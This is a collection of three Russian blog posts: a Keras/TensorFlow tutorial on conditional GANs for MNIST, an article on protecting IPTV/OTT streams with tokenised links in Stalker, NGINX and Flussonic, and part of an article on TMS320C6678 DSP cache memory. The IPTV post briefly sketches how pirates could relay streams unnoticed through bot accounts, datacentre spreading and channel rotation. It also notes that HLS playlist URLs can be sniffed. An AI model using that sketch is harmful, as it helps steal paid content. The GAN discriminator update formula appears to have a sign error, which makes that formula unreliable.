Этот недостаток в куда меньшей степени проявляется у другого подхода, а именно у генеративных состязающихся сетейGAN’ов.

Формально GAN’ы, конечно, не относятся к автоэнкодерам, однако между ними и вариационными автоэнкодерами есть сходства, они также пригодятся для следующей части. Так что не будет лишним с ними тоже познакомиться.

Коротко о GAN


GAN’ы впервые были предложены в статье [1, Generative Adversarial Nets, Goodfellow et al, 2014] и сейчас очень активно исследуются. Наиболее state-of-the-art генеративные модели так или иначе используют adversarial.

Схема GAN:




GAN’ы состоят из 2 нейронных сетей:
  • 1-ая — генератор сэмплит случайные числа из какого-то заданного распределения P(Z), например N(0,I) и генерируют из них объекты X_p = G(Z; \theta_g), которые идут на вход второй сети,
  • 2-ая — дискриминатор получает на вход объекты из выборки X_s и созданные генератором X_p, и учится предсказывать вероятность того, что конкретный объект реальный, выдавая скаляр D(X; \theta_d).


При этом генератор тренируется создавать объекты, который дискриминатор не отличит от реальных.

Рассмотрим процесс обучения GAN.

Генератор и дискриминатор обучаются отдельно, но в рамках одной сети.

Делаем k шагов обучения дискриминатора: за шаг обучения дискриминатора параметры \theta_d обновляются в сторону уменьшения кросс-энтропии:

\theta_d = \theta_d - \nabla_{\theta_d} \left(\log(D(X_s)) + \log(1 - D(G(Z))) \right)

Далее шаг обучения генератора: обновляем параметры генератора \theta_g в сторону увеличения логарифма вероятности дискриминатору присвоить сгенерированному объекту лейбл реального.

\theta_g = \theta_g + \nabla_{\theta_g} \log(1 - D(G(Z)))

Схема обучения:


На левой картинке шаг обучения дискриминатора: градиент (красные стрелки) протекает от лосса только до дискриминатора, где обновляются \theta_d (зеленые) в сторону уменьшения лосса. На правой картинке градиент от правой части лосса (ошибка идентификации сгенерированного объекта) протекает до генератора, при этом обновляются только веса генератора \theta_g (зеленые) в сторону увеличения вероятности дискриминатора ошибиться.

Задача, которую решает GAN формулируется так:

\min_G \max_D \mathbb{E}_{X \sim P}[ \log(D(X))] + \mathbb{E}_{Z \sim P_z}[ \log(1 - D(G(Z)))]


При заданном генераторе оптимальный дискриминатор выдает вероятность D^*(X) = \frac{P(X)}{P_g(X) + P(X)}, что почти очевидно, предлагаю на секунду об этом задуматься.



В [1] показывается, что при достаточной мощности обеих сетей у данной задачи есть оптимум, в котором генератор научился генерировать распределение P_g(X), совпадающее с P(X), а везде на X^{} дискриминатор выдает вероятность 1/2.



Иллюстрация из [1]

Обозначения:
  • черная точечная кривая — настоящее распределение P(X),
  • зеленая — распределение генератора P_g(X),
  • синяя — распределение вероятности D(X;\theta_d) дискриминатора предсказать класс реального объекта,
  • нижняя и верхняя прямые — множество всех Z и множество всех X, стрелочки олицетворяют отображение G(Z;\theta_g).

На картинке:
  • (a) P(X) и P_g(X) довольно разные, но дискриминатор неуверенно отличает одно от другого,
  • (b) дискриминатор после k шагов обучения уже отличает их увереннее,
  • (с) это позволяет генератору G, руководствуясь хорошим градиентом дискриминатора D, на границе двух распределений подвинуть P_g(X) ближе к P(X),
  • (d) в результате многих повторений шагов (а), (b), (с) P_g совпало с P, и дискриминатор более не способен отличать одно от другого: D(X) = 1/2. Точка оптимума достигнута.

Conditional GAN


Точно как в прошлой части мы сделали Conditional VAE, просто передавая в энкодер и декодер лейбл цифры, здесь мы будем передавать его в генератор и дискриминатор [2]



Код


В отличие от предыдущих частей, где получалось обходиться одним keras’ом, здесь с этим возникает проблема. А именно, нужно в одной и той же сети по очереди обновлять либо только параметры генератора, либо только дискриминатора. Если исхитриться, то можно сделать это и чисто в keras’е, но по мне проще и полезнее подключить сюда и tensorflow.
В блоге keras’а есть небольшой туториал [3], как это делать.

Благо keras легко сочетается с tensorflow — не даром он попал в tensorflow.contrib.

Начнем с импортирования нужных модулей и загрузки датасета.

from IPython.display import clear_output
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline

from keras.layers import Dropout, BatchNormalization, Reshape, Flatten, RepeatVector
from keras.layers import Lambda, Dense, Input, Conv2D, MaxPool2D, UpSampling2D, concatenate
from keras.layers.advanced_activations import LeakyReLU
from keras.models import Model, load_model


from keras.datasets import mnist
from keras.utils import to_categorical
(x_train, y_train), (x_test, y_test) = mnist.load_data()

x_train = x_train.astype('float32') / 255.
x_test  = x_test .astype('float32') / 255.
x_train = np.reshape(x_train, (len(x_train), 28, 28, 1))
x_test  = np.reshape(x_test,  (len(x_test),  28, 28, 1))

y_train_cat = to_categorical(y_train).astype(np.float32)
y_test_cat  = to_categorical(y_test).astype(np.float32)

Для работы в keras и tensorflow одновременно надо зарегистрировать tensorflow сессию в keras, это нужно для того чтобы keras создавал все внутренние переменные в рамках используемой сессии.

from keras import backend as K
import tensorflow as tf
sess = tf.Session()
K.set_session(sess)

Определим основные глобальные константы:

batch_size = 256
batch_shape = (batch_size, 28, 28, 1)
latent_dim = 2
num_classes = 10
dropout_rate = 0.3

Обучать модель мы теперь будем не с помощью метода .fit, а напрямую из tensorflow, поэтому напишем итератор, возвращающий очередной батч:

def gen_batch(x, y):
    n_batches = x.shape[0] // batch_size
    while(True):
        for i in range(n_batches):
            yield x[batch_size*i: batch_size*(i+1)], y[batch_size*i: batch_size*(i+1)]
        idxs = np.random.permutation(y.shape[0])
        x = x[idxs]
        y = y[idxs]


train_batches_it = gen_batch(x_train, y_train_cat)
test_batches_it  = gen_batch(x_test,  y_test_cat)

Оборачиваем placeholder’ы для картинок, лейблов и скрытых переменных во входящие слои для keras моделей:

x_ = tf.placeholder(tf.float32, shape=(None, 28, 28, 1),   name='image')
y_ = tf.placeholder(tf.float32, shape=(None, num_classes), name='labels')
z_ = tf.placeholder(tf.float32, shape=(None, latent_dim),  name='z')

img = Input(tensor=x_)
lbl = Input(tensor=y_)
z   = Input(tensor=z_)

Реализовывать будем сразу CGAN, так как он лишь минимально отличается от обычного.
Напишем модель генератора. Keras работает со scope’ами, а нам нужно разделить генератор и дискриминатор, чтобы потом обучать их по-отдельности

with tf.variable_scope('generator'):
    x = concatenate([z, lbl])
    x = Dense(7*7*64, activation='relu')(x)
    x = Dropout(dropout_rate)(x)
    x = Reshape((7, 7, 64))(x)
    x = UpSampling2D(size=(2, 2))(x)

    x = Conv2D(64, kernel_size=(5, 5), activation='relu', padding='same')(x)
    x = Dropout(dropout_rate)(x)

    x = Conv2D(32, kernel_size=(3, 3), activation='relu', padding='same')(x)
    x = Dropout(dropout_rate)(x)
    x = UpSampling2D(size=(2, 2))(x)

    generated = Conv2D(1, kernel_size=(5, 5), activation='sigmoid', padding='same')(x)
generator = Model([z, lbl], generated, name='generator')

Далее модель дискриминатора. Здесь нам нужно добавить ко входящему изображению еще лейбл цифры. Для этого после применения первого сверточного слоя добавим к фильтрам лейблы. Сперва функция, которая это делает, потом модель дискриминатора.

def add_units_to_conv2d(conv2, units):
    dim1 = int(conv2.shape[1])
    dim2 = int(conv2.shape[2])
    dimc = int(units.shape[1])
    repeat_n = dim1*dim2
    units_repeat = RepeatVector(repeat_n)(lbl)
    units_repeat = Reshape((dim1, dim2, dimc))(units_repeat)
    return concatenate([conv2, units_repeat])


with tf.variable_scope('discrim'):
    x = Conv2D(128, kernel_size=(7, 7), strides=(2, 2), padding='same')(img)
    x = add_units_to_conv2d(x, lbl)
    x = LeakyReLU()(x)
    x = Dropout(dropout_rate)(x)
    x = MaxPool2D((2, 2), padding='same')(x)
    
    l = Conv2D(128, kernel_size=(3, 3), padding='same')(x)
    x = LeakyReLU()(l)
    x = Dropout(dropout_rate)(x)

    h = Flatten()(x)
    d = Dense(1, activation='sigmoid')(h)
discrim = Model([img, lbl], d, name='Discriminator')

Определив модели, мы можем применять их напрямую к placeholder’ам как обычные tensorflow операции.


generated_z = generator([z, lbl])

discr_img   = discrim([img, lbl])
discr_gen_z = discrim([generated_z, lbl])

gan_model = Model([z, lbl], discr_gen_z, name='GAN')
gan   = gan_model([z, lbl])

Теперь лосс ошибки определения реального изображения, и лосс сгенерированного, а также на их основе лоссы генератора и дискриминатора.

log_dis_img   = tf.reduce_mean(-tf.log(discr_img + 1e-10))
log_dis_gen_z = tf.reduce_mean(-tf.log(1. - discr_gen_z + 1e-10))

L_gen = -log_dis_gen_z
L_dis = 0.5*(log_dis_gen_z + log_dis_img)

Обычно в tensorflow, передавая в оптимизатор лосс, он будет пытаться минимизировать сразу все переменные, от которых он зависит. Нам сейчас этого не надо: при обучении генератора, ошибка не должна трогать дискриминатор, хотя должна сквозь него течь и наоборот.

Для этого дополнительно в оптимизатор надо передать список переменных, которые он будет оптимизировать. Достанем эти переменные из нужных scope’ов с помощью tf.get_collection

optimizer_gen = tf.train.RMSPropOptimizer(0.0003)
optimizer_dis = tf.train.RMSPropOptimizer(0.0001)

# Переменные генератора и дискриминаторы (отдельно) для оптимизаторов
generator_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, "generator")
discrim_vars   = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, "discrim")

step_gen = optimizer_gen.minimize(L_gen, var_list=generator_vars)
step_dis = optimizer_dis.minimize(L_dis, var_list=discrim_vars)

Инициализируем переменные:

sess.run(tf.global_variables_initializer())

Отдельно напишем функции, которые будем вызывать для обучения генератора и дискриминатора:

# Шаг обучения генератора
def step(image, label, zp):
    l_dis, _ = sess.run([L_dis, step_gen], feed_dict={z:zp, lbl:label, img:image, K.learning_phase():1})
    return l_dis

# Шаг обучения дискриминатора
def step_d(image, label, zp):
    l_dis, _ = sess.run([L_dis, step_dis], feed_dict={z:zp, lbl:label, img:image, K.learning_phase():1})
    return l_dis


Код сохранения и визуализации картинок:

Код

# Массивы, в которые будем сохранять результаты, для последующей визуализации
figs = [[] for x in range(num_classes)]
periods = []

save_periods = list(range(100)) + list(range(100, 1000, 10))

n = 15 # Картинка с 15x15 цифр
from scipy.stats import norm
# Так как сэмплируем из N(0, I), то сетку узлов, в которых генерируем цифры, берем из обратной функции распределения
grid_x = norm.ppf(np.linspace(0.05, 0.95, n))
grid_y = norm.ppf(np.linspace(0.05, 0.95, n))
grid_y = norm.ppf(np.linspace(0.05, 0.95, n))
def draw_manifold(label, show=True):
    # Рисование цифр из многообразия
    figure = np.zeros((28 * n, 28 * n))
    input_lbl = np.zeros((1, 10))
    input_lbl[0, label] = 1.
    for i, yi in enumerate(grid_x):
        for j, xi in enumerate(grid_y):
            z_sample = np.zeros((1, latent_dim))
            z_sample[:, :2] = np.array([[xi, yi]])

            x_generated = sess.run(generated_z, feed_dict={z:z_sample, lbl:input_lbl, K.learning_phase():0})
            digit = x_generated[0].squeeze()
            figure[i * 28: (i + 1) * 28,
                   j * 28: (j + 1) * 28] = digit
    if show:
        # Визуализация
        plt.figure(figsize=(10, 10))
        plt.imshow(figure, cmap='Greys')
        plt.grid(False)
        ax = plt.gca()
        ax.get_xaxis().set_visible(False)
        ax.get_yaxis().set_visible(False)
        plt.show()
    return figure


n_compare = 10
def on_n_period(period):
    clear_output() # Не захламляем output

    # Рисование многообразия для рандомного y
    draw_lbl = np.random.randint(0, num_classes)    
    print(draw_lbl)
    for label in range(num_classes):
        figs[label].append(draw_manifold(label, show=label==draw_lbl))

    periods.append(period)


Обучим теперь наш CGAN.
Важно, чтобы в самом начале дискриминатор не слишком стал побеждать, иначе обучение остановится. Поэтому здесь добавлены внутренние циклы как для дискриминатора, так и для генератора, и выход из них, когда одна сеть почти догоняет другую.
Если дискриминатор сразу выигрывает у декодера, и обучение даже не успевает начаться, то можно попробовать замедлить обучение дискриминатора, либо несколько раз начинать заново.


batches_per_period = 20 # Как часто сохранять картинки
k_step = 5 # Количество шагов, которые могут делать дискриминатор и генератор во внутреннем цикле

for i in range(5000):
    print('.', end='')
    # Достанем новый батч
    b0, b1 = next(train_batches_it)
    zp = np.random.randn(batch_size, latent_dim)
    # Шаги обучения дискриминатора
    for j in range(k_step):
        l_d = step_d(b0, b1, zp)
        b0, b1 = next(train_batches_it)
        zp = np.random.randn(batch_size, latent_dim)
        if l_d < 1.0:
            break

    # Шаги обучения генератора
    for j in range(k_step):
        l_d = step(b0, b1, zp)
        if l_d > 0.4:
            break
        b0, b1 = next(train_batches_it)
        zp = np.random.randn(batch_size, latent_dim)

    # Периодическое рисование результата
    if not i % batches_per_period:
        period = i // batches_per_period
        if period in save_periods:
            on_n_period(period)
        print(l_d)


Код рисования гифок:

Код

from matplotlib.animation import FuncAnimation
from matplotlib import cm
import matplotlib

def make_2d_figs_gif(figs, periods, c, fname, fig, batches_per_period): 
    norm = matplotlib.colors.Normalize(vmin=0, vmax=1, clip=False)
    im = plt.imshow(np.zeros((28,28)), cmap='Greys', norm=norm)
    plt.grid(None)
    plt.title("Label: {}\nBatch: {}".format(c, 0))

    def update(i):
        im.set_array(figs[i])
        im.axes.set_title("Label: {}\nBatch: {}".format(c, periods[i]*batches_per_period))
        im.axes.get_xaxis().set_visible(False)
        im.axes.get_yaxis().set_visible(False)
        return im
    
    anim = FuncAnimation(fig, update, frames=range(len(figs)), interval=100)
    anim.save(fname, dpi=80, writer='imagemagick')

for label in range(num_classes):
    make_2d_figs_gif(figs[label], periods, label, "./figs4_5/manifold_{}.gif".format(label), plt.figure(figsize=(10,10)), batches_per_period)


Результаты:


GAN


Многообразие цифр для обычного GAN (без передачи лейблов)


Стоит отметить, что цифры получаются лучше, чем в VAE (без лейблов)

Гифка обучения


CGAN


Многообразия цифр для каждого лейбла



Тяжелые гифки




Полезные ссылки и литература


Оригинальная статья:
[1] Generative Adversarial Nets, Goodfellow et al, 2014, https://arxiv.org/abs/1406.2661

Conditional GANs:
[2] Conditional Generative Adversarial Nets, Mirza, Osindero, 2014, https://arxiv.org/abs/1411.1784

Туториал про использование keras вместе с tensorflow:
[3] https://blog.keras.io/keras-as-a-simplified-interface-to-tensorflow-tutorial.html
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332000/


Метки:  

Строим IPTV/OTT сервис: защита контента

Пятница, 30 Июня 2017 г. 11:35 + в цитатник
В этой статье я хочу рассказать, как защищают видео контент, какие технологии для этого применяют. Речь пойдет в основном про интернет вещание, но придется затронуть и про DVB, и про Multicast, чтобы было понятнее, в чем разница.

Stalker Middleware, которую мы установили в прошлой статье, имеет интеграцию с нашей системой защиты контента, а так же с NGINX X-accel и Secure Link.

Статья рассчитана не только для профессионалов, но и для тех, кто еще ничего не знает про IPTV/OTT.



Есть два подхода к вещанию видео контента:
  • Broadcast — когда поток с данными неконтролируемо распространяется по сети. Примеры: спутниковое/кабельное вещание, multicast.
  • Unicast — клиент приходит на сервер и запрашивает контент. Применяется в OTT-сервисах.


Ключевое отличие — наличие обратной связи. Существуют гибридные системы, забудем про них в рамках этой статьи.

Broadcast



Наша компания работает с вещанием видео через интернет, поэтому тут кратко, просто чтобы было понятнее, в чем разница между скрэмлированием видео на источнике и управляемоей раздачи видео.

Multicast у меня в Broadcast попал, потому что, во-первых, это форма широкого вещания, во-вторых, я говорю не только про передачу пакетов в IP-сетях, но и затрагиваю DVB.

При Broadcast вещании нет обратной связи между источником и клиентом, поэтому есть только один способ защитить контент — заскрэмблировать все на источнике. Чтобы клиент смог посмотреть посмотреть защищенный контент, ему нужно узнать ключ, который периодически меняется. Ключи рассылаются клиентам вместе с контентом таким образом, что только получатель может его расшифровать. Как правило, для этого используют модули условного доступа (CAM-модули), а такая система называется — система условного доступа.

С таким способом защиты контента встречались практически все, кто пользуется услугами платного ТВ. Спутниковые вещатели уже много лет используют такой способ защиты, вынуждая периодически менять карты доступа и/или CAM-модули (или даже приемники, если CAM-модуль встроенный).

Главный недостаток таких систем в том, что ключами можно делится (Кардшаринг). Без обратной связи, нельзя проверить подлинность карты или модуля, да и узнать о существовании и количестве злоумышленников технически невозможно.

В IPTV сетях вместо CAM-модулей используется специальный софт, он общается с CAS-сервером и получает ключи. Такой подход практически исключает кражу контента, т.к. общение с CAS-сервером происходит по защищенному Unicast-соединению, а у приемника нету карты или модуля, который можно обмануть или подделать. Управляемое сетевое оборудование позволяет ограничить количество каналов, просматриваемых одновременно (как правило, операторы разрешают просмотр 2-6 каналов одновременно), поэтому весь контент проблематично, как это делают при спутниковом/кабельном вещании.

Говорить тут особо не о чем. Технология принципиально не меняется уже много лет. Старые системы взламывают, появляются новые. Недостатки есть, но в целом система работает.

Unicast



При Unicast вещании можно использовать Broadcast подход: скрэмблируем поток на источнике, а ключи раздаем через интернет. В таком случае, все то же самое, что и у IPTV, только вещаем не мультикастом, а по HTTP.

image

А можно по-другому ограничить доступ к контенту: использовать уникальные для каждого пользователя токены. Идея заключается в том, что Middleware отдает каждому пользователю уникальные ссылки для просмотра, а видеосервер проверяет эти токены через Middleware API.

image

Такая схема требует меньше серверов и софта, что дает хорошую экономию и на старте, и во время эксплуатации. Сам контент не шифруется, но получить доступ к нему не получится без разрешения от Middleware. Портал выдает одноразовые ссылки, перехват которых не имеет значения — открыть ссылку сможет только то устройство, которое запросило ссылку. А от банального перехвата трафика спасает HTTPS.

«Но ведь контент остается открытым, ничто не мешает его сохранить на диск или ретранслировать другим пользователям.» — скажете вы.

Да, конечный пользователь может сохранять сегменты к себе на диск и даже организовать трансляцию другим пользователям. Но, у одноразовых ссылок есть срок жизни. Настроить и забыть не получится. Придется регулярно получать новые ссылки от Middleware. Да и в статистике будет видно, что пользователь 24/7 смотрит один и тот же канал. Подозрительно.

Так как раздача контента по HTTP процесс контролируемый, значит мы можем отслеживать количество одновременных соединений. А это значит, что два канала уже не получится смотреть одновременно (если, конечно, не позволяет тарифный план).

Чтобы ретранслировать весь ваш контент, придется зарегистрировать количество учетных записей, равное количеству телеканалов и настроить ботов, которые будут получать актуальные временные ссылки эмулируя работу приставки. Тут придется проявить фантазию, иначе по логам можно будет легко вычислить таких пользователей. Вот представьте, из одного датацентра (/24 сети) появилось 100 пользователей, которые 24/7 смотрят одни и те же каналы. Придется такой ботнет раскидать по разным датацентрам и настроить какую-нибудь систему ротации каналов между учетными записями, чтобы не было подозрительно. Можно обсудить в комментариях, как стырить контент и остаться незамеченными.

«Но ведь телеканалы не позволяют транслировать их в кабельных/локальных/интернет сетях без шифрования сертифицированной CAS-системой.» — добавьте вы.

Не будем в рамках этот статьи разбираться с юридическими нюансами. У разных телеканалов разные требования, бывают каналы, позволяющие открытую трансляцию, кроме телеканалов наши клиенты вещают видео с камер наблюдения, которое тоже нужно защищать от чужих глаз.

Система авторизации может применяться для передачи видео между серверами, датацентрами если вы агрегатор контента, а не вещаете напрямую клиентам.

Многие клиенты приходят к нам именно ради системы авторизации.

Ладно, хватит теории, давайте займемся практикой.



Stalker имеет несколько встроенных механизмов для защиты видео. Они имеют ряд ограничений: не совместимы с некоторым протоколами (например, RTSP), не могут полноценно защищать HLS потоки и не учитывают одновременные подключения. Зато не требуют специализированного видеосервера.

Если в настройка телеканала включить временные ссылки, но не установить галочку напротив «NGINX secure link» или «Flussonic support», то Stalker будет использовать X-Accel-Redirect для доступа к контенту.

image

Данная конфигурация подходит для защиты HTTP MPEG-TS потоков, т.к. между сервером и клиентом устанавливается только одно TCP соединение. Посмотрим, как выглядит конфигурация NGINX:

server{
 
    listen 0.0.0.0:8888;
 
    rewrite ^/ch/(.*) /stalker_portal/server/api/chk_tmp_tv_link.php?key=$1 last;
 
    location /stalker_portal {
        internal;
        proxy_set_header Host 192.168.1.1; # <-- имя хоста с порталом или IP
        proxy_set_header X-Real-IP $remote_addr;
        proxy_pass http://192.168.1.1:88/stalker_portal; # <-- IP адрес портала
    }
 
    location ~* ^/get/(.*?)/(.*) {
       internal;
 
       set $upstream_uri       $2;
       set $upstream_host      $1;
 
       set $upstream_url http://$upstream_host/$upstream_uri;
 
       proxy_set_header Host $upstream_host;
       proxy_set_header X-Real-IP $remote_addr;
       proxy_pass $upstream_url;
    }
}


Stalker генерирует ссылку вида: stalker/ch/TOKEN123, где TOKEN123 — уникальный, одноразовый пароль. Когда клиент открывает эту ссылку, NGINX делает rewrite на файл chk_tmp_tv_link.php, который проверяет валидность токена и возвращает ссылку на поток с помощью заголовка X-Accel-Redirect.

Исходный код файла chk_tmp_tv_link.php:



Согласно документации, для использования временных ссылок, необходимо задавать URL канала в формате: 192.168.1.1:8888/127.0.0.1:8899/udp/239.1.1.1:1234, где 192.168.1.1:8888 — это сервер udpxy, с установленным NGINX.

Проверив токен, Stalker возвращает в переменной $result ссылку на stalker/get/127.0.0.1:8899/udp/239.1.1.1:1234.

Как мы знаем из конфигурации NGINX, /get/ — это internal location, что означает, что доступ сюда можно получить только через X-Accel-Redirect заголовок, полученный от бэкенда.

Далее, с помощью нехитрого регулярного выражения, NGINX начинает проксировать (proxy_pass) на локальную (или удаленную) udpxy.

Как видите, защита контента от несанкционированного доступа — это просто. Один rewrite, один location с параметром internal и небольшой бэкенд скрипт — все это доступно «из коробки» и отлично работает. Подробнее о работает X-Accel вы можете почитать в официальной документации NGINX: www.nginx.com/resources/wiki/start/topics/examples/x-accel

NGINX Secure links в Stalker

Теперь поставим галочку «NGINX secure link»

image

Ограничения:

Stalker защищает доступ к HTTP MPEG-TS потокам и ссылки на m3u8 плейлисты. Сами же чанки и медиа плейлисты остаются незащищенными и с помощью tcpdump/wireshark можно легко узнать адреса медиа плейлистов и подключаться к ним напрямую.

Самый простой и, главное, более надежный способ защитить потоки — включить интеграцию с Flussonic. Настройка со стороны Сталкера не требуется, стоит лишь поставить галочку «Flussonic» в настройках канала, а со стороны Flussonic требуется лишь указать адрес Сталкера.

Flussonic — это видеосервер нашей разработки, широко применяющийся во многих OTT и IPTV сервисах. Наши сильные стороны — это управление доступом и учет сессий, запись архива. Подробнее у нас на сайте.

У нас реализован механизм идентификации пользователей и отслеживания подключений с помощью авторизационных бэкендов. По протоколам HLS и HDS используются HTTP механизмы отслеживания сессий, а по протоколам RTMP, RTSP и MPEG-TS обрабатываются постоянные TCP сессии. Также отслеживается экспорт архива в формате MPEG-TS и MP4.

Stalker — это и есть авторизационный бэкенд. Когда клиент приходит за видео, мы передаем бэкенду не только IP-адрес и имя канала, но и другую важную информацию:
— Token
— HTTP Referer
— Количество открытых сессий на этом потоке
— Общее количество открытых сессий на сервере
— Запрашиваемый протокол: (hls, dash, hds, rtmp, rtsp, mpegts или mp4)
— Тип подключения (новое соединение или продлевается текущее)
— Тип запрашиваемого контента (живой поток, архив, скриншоты или обращение к API)
— User-Agent
— query string
— Адрес и порт сервера, куда пришел запрос

Эта информация позволяет бэкенду гибко контролировать доступ. Можно использовать все данные, чтобы строить сложные правила.

В ответ, Сталкер возвращает не просто да/нет, но и информацию о сроке действия разрешения (или запрета), id пользователя и количество одновременных соединений для этого пользователя.

Flussonic сохраняет ответ и на время действия разрешения не посылает повторных запросов в бэкенд. Так как статья получается итак затянутой, я не буду показывать как настроить авторизацию во Flussonic через Stalker, это очень просто и у нас есть краткая, но исчерпывающая документация по этому вопросу.

Подводим итоги.



В большинстве случаев для защиты контента от несанционнированого просмотра в интернете можно обойтись без шифрования, делается это легко бесплатными средствами популярной Middleware, а можно и настроить интеграцию с видеосервером, убрав со Stalker лишнюю роль и нагрузку.

Расскажите в комментариях, какими средствами защиты контента вы пользуетесь? Интересно не только про ТВ-вещание, но и VOD-сервисы, видеонаблюдение.

Судя по количеству просмотров первой статьи цикла «Строим OTT/IPTV сервис», еще не все построили свои решения и мне не стоит затягивать со следующими статьями.

Дальше надо бы поговорить про вставку видео на сайт, этот вопрос не такой простой, как может показаться. Прочитайте нашу статью "Какой бывает HTML5-стриминг (и почему mp4-стриминга не существует)", она рассказывает о современных средствах передачи и просмотра потокового видео в браузере. А еще мы запустили бесплатный сервис сбора статистики для всех наших клиентов.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/314736/


Метки:  

Многоядерный DSP TMS320C6678. Организация памяти ядра

Пятница, 30 Июня 2017 г. 11:34 + в цитатник
Продолжаем серию статей, посвященных многоядерным цифровым сигнальным процессорам TMS320C6678. В данной статье будет рассмотрена подсистема памяти ядра. Архитектура памяти процессора — один из ключевых моментов, напрямую влияющих на его эффективность. Знание особенностей организации архитектуры памяти позволяет разработчику более рационально использовать ресурсы DSP. Современные процессоры имеют достаточно сложную архитектуру памяти, включающую несколько уровней и контроллеры кэш. При этом в случае DSP работа с памятью усложняется наличием свободы выбора объемов кэш-памяти на разных уровнях, а для многоядерных процессоров характерна проблема синхронизации кэш разных ядер.

Содержание


  1. Введение
  2. Принципы работы кэш-памяти
  3. Локальная память программ L1P
  4. Локальная память данных L1D
  5. Локальная память L2
  6. Контроллер внутреннего прямого доступа в память — IDMA
  7. Контроллер доступа к внешней памяти
  8. Контроллер расширения памяти


Введение


Процессоры TMS320C66x имеют иерархическую 3-уровневую архитектуру памяти. Иерархическая архитектура памяти позволяет совмещать высокую скорость работы с памятью и большой объем доступной памяти. В своем развитии технология изготовления памяти несколько отстает от процессорной техники. Тактовая частота процессорных ядер растет; растут и требования к объему внутренней и внешней памяти. Вместе с тем, обеспечить процессор памятью большого объема, работающей на частоте ядра оказывается сложной задачей. Для решения данной проблемы широкое развитие получили иерархические архитектуры памяти, в которых память делится на несколько уровней. Память небольшого объема работает на частоте ядра и представляет уровень L1. Память уровня L2 работает на меньшей частоте, но имеет больший объем. И так далее. Для ускорения работы с памятью младших уровней (медленной памятью) быстрая память может частично или полностью конфигурироваться как кэш-память.

Архитектура памяти процессоров TMS320C66xx включает:
  • внутреннюю локальную память программ L1P и память данных L1D, работающие на частоте ядра;
  • внутреннюю локальную память уровня L2 общую для программ и данных;
  • внутреннюю общую для всех ядер память MSM (Multicore Shared Memory), которая может конфигурироваться как память уровня L2 или L3;
  • интерфейс внешней памяти уровня L3.

Память уровня L1 и L2 может полностью или частично конфигурироваться, как кэш-память, ускоряя работу с более медленной памятью уровней L2 и L3. Архитектура памяти играет одну из наиболее важных ролей в общей производительности процессора, поскольку ограничивает пропускную способность каналов подачи данных на исполнительные элементы. Далее подробнее рассматриваются составляющие архитектуры памяти процессора TMS320C66x.


Рисунок 1 — Подсистема памяти ядра CorePac процессора TMS320C66xx

Термин CorePac обозначает одно ядро многоядерного процессора TMS320C66x. Ядро строится в соответствии со структурой, представленной на следующем рисунке 1. Оно включает вычислительные ресурсы – С66х, – рассмотренные в предыдущей статье и следующие компоненты, относящиеся к подсистеме памяти:
  • контроллер памяти программ уровня L1 (L1P);
  • контроллер памяти данных уровня L1 (L1D);
  • контроллер памяти уровня L2 (L2);
  • контроллер внутреннего прямого доступа в память (IDMA)
  • контроллер доступа к внешней памяти (EMC);
  • контроллер расширения памяти (XMC);

Ниже рассматриваются основные аспекты функционирования перечисленных устройств.

Принципы работы кэш-памяти


Прежде, чем приступать к рассмотрению архитектуры памяти процессора TMS320C66x, целесообразно познакомиться с основными принципами функционирования кэш.

Кэширование программ и данных имеет основной целью ускорение работы быстрого ядра с медленной памятью большого объема. Наиболее близкой к ядру, работающей на частоте ядра, является память уровня L1, имеющая небольшой объем. Далее идет память уровня L2 большего объема, работающая, как правило, вдвое медленнее. Далее может идти память уровня L3, L4 и так далее, имеющая еще больший объем, но работающая еще медленнее. Это может быть общая память многоядерной системы или внешние микросхемы памяти.

Эффективность применения кэш основана на двух фактах – локализованности программ и данных во времени и в пространстве памяти (temporal and spatial locality) [1]. Локализованность во времени означает многократное использование одних и тех же программ или данных. Локализованность в пространстве памяти означает, что коды/данные используются группами. Эти два факта позволяют при обращении к медленной памяти читать из нее запрашиваемые коды/данные вместе с соседними группами кодов/данных, копировать их в более быструю память, рассчитывая на то, что запрашиваемые в будущем коды/данные уже будут присутствовать в быстрой памяти.

Группы соседних кодов/данных, одновременно копируемые в кэш, называются строками кэш (cache line). Очевидно, что, чем больше размер строки кэш, тем больше эффективность кэш при пространственной локализации кодов/данных, однако, это усложняет архитектуру кэш и приводит к сокращению количества строк кэш, то есть меньше использует временную локализацию кодов/данных. Размер линии кэш памяти L1P составляет 32 байта. Интересно, что коды, исполняемые из внешней памяти, в процессоре TMS320C66x кэшируются в L1P всегда.

Простейшей схемой организации кэширования является кэш с прямым отображением в памяти (direct-mapped cache). Вся основная память разбивается на фрагменты, размер каждого из которых равен размеру кэш. Соответственно, в кэш в каждый момент времени может находиться только один фрагмент основной памяти, либо непересекающиеся части нескольких разных фрагментов. Коды/данные, расположенные в основной памяти в разных фрагментах, но в соответствующих друг другу строках не могут одновременно находиться в кэш. Возникает конфликт кэширования (conflict miss), что приводит к неэффективности работы кэш. Основной тип промахов кэш для данного механизма кэширования – это промах из-за нехватки объема кэш (capacity miss). Другой неизбежный режим неэффективной работы кэш – это начальное кэширование (compulsory miss). Это промахи кэш при первом обращении к основной памяти.

Чтобы уйти от проблемы нехватки объема кэш в механизмах кэширования с прямым отображением, используют так называемые ассоциативные кэш. Можно считать, что в них механизм кэширования с прямым отображением просто дублируется (становится двухвариантным – 2 way), расширяется в 4 раза (четырехвариантный – 4-way) и так далее. Соответственно, размещение кодов/данных из разных фрагментов и пересекающихся по адресам становится возможным и тем больше таких пересекающихся кодов/данных можно одновременно кэшировать, чем больше вариантов (путей — way) поддерживается. Данная архитектура оказывается более мощной по сравнению с кэш с прямым отображением, но ценой большей сложности и затратности. Все строки кэш с перекрывающимися адресами, то есть принадлежащие разным путям, именуется набором или рядом строк кэш (Set). Когда одну из строк кэш надо заменить, то выбирается тот путь, который давно не использовался, по сравнению с другими. За этим следит бит LRU, являющийся составной частью строки кэш. Структуру кэш раскрывает таблица.
way1 way2
set1 line0 line0
set2 line1 line1
set3 line2 line2

Кэш «с кэшированием при чтении» (read-allocate cache) – это тип кэш, при котором содержимое кэш меняется только при промахе чтения, то есть когда новые данные/коды запрашиваются из основной памяти, и они одновременно копируются в кэш. При промахе записи (когда ядро пишет в ячейку памяти, не отображенную в кэш) запись идет напрямую в основную память через специальный буфер записи (write buffer) в составе контроллера памяти.

